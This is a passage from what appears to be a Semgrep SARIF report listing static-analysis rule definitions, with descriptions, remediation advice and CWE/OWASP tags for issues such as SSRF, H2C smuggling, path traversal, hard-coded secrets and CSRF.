avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","id":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","name":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"help":{"markdown":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling)\n - [https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c)\n","text":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","id":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","name":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash","id":"cpp.lang.security.crypto.insecure-hash.insecure-hash","name":"cpp.lang.security.crypto.insecure-hash.insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.insecure-hash.insecure-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","id":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","name":"ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-secret.ruby-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","id":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","name":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","id":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","name":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"help":{"markdown":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine)\n - [https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/](https://www.praetorian.com/blog/pathcombine-security-issues-in-aspnet-applications/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-6.0#remarks)\n","text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","id":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","name":"csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.filesystem.unsafe-path-combine.unsafe-path-combine"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"help":{"markdown":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_without_protection.rb)\n - [https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/](https://www.acunetix.com/vulnerabilities/web/rails-mass-assignment/)\n","text":"Checks for calls to without_protection during mass assignment (which allows record creation from hash values). This can lead to users bypassing permissions protections. For Rails 4 and higher, mass protection is on by default. Fix: Don't use :without_protection => true. Instead, configure attr_accessible to control attribute access."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","id":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","name":"ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.unprotected-mass-assign.mass-assignment-vuln"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"help":{"markdown":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"RegExp() called with a `$ARG` function argument, this might allow an attacker to cause a Regular Expression Denial-of-Service (ReDoS) within your application as RegExP blocks the main thread. For this reason, it is recommended to use hardcoded regexes instead. If your regex is run on user-controlled input, consider performing input validation or use a regex checking/sanitization library such as https://www.npmjs.com/package/recheck to verify that the regex does not appear vulnerable to ReDoS."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","id":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","name":"javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.detect-non-literal-regexp.detect-non-literal-regexp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"help":{"markdown":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled)\n - [https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints)\n - [https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785](https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785)\n - [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)\n","text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","id":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","name":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"help":{"markdown":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage)\n - [https://www.npmjs.com/package/csurf](https://www.npmjs.com/package/csurf)\n - [https://www.npmjs.com/package/csrf](https://www.npmjs.com/package/csrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"A CSRF middleware was not detected in your express application. Ensure you are either using one such as `csurf` or `csrf` (see rule references) and/or you are properly doing CSRF validation in your routes with a token or cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","id":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","name":"javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-csurf-middleware-usage.express-check-csurf-middleware-usage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","id":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","name":"python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-toml-fastapi.tainted-path-traversal-toml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"help":{"markdown":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid)\n - [https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data](https://docs.djangoproject.com/en/4.2/ref/forms/api/#accessing-clean-data)\n","text":"Use $FORM.cleaned_data[] instead of request.POST[] after form.is_valid() has been executed to only access sanitized data"},"helpUri":"https://semgrep.dev/r/python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","id":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","name":"python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-using-request-post-after-is-valid.django-using-request-post-after-is-valid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"help":{"markdown":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace)\n - [https://github.com/returntocorp/semgrep-rules/issues/518](https://github.com/returntocorp/semgrep-rules/issues/518)\n","text":"Detected a potentially dynamic ClientTrace. This occurred because semgrep could not find a static definition for '$TRACE'. Dynamic ClientTraces are dangerous because they deserialize function code to run when certain Request events occur, which could lead to code being run without your knowledge. Ensure that your ClientTrace is statically defined."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","id":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","name":"go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.dynamic-httptrace-clienttrace.dynamic-httptrace-clienttrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"help":{"markdown":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","id":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","name":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square OAuth Secret detected"},"help":{"markdown":"Square OAuth Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret)\n - [https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py](https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py)\n","text":"Square OAuth Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","id":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","name":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 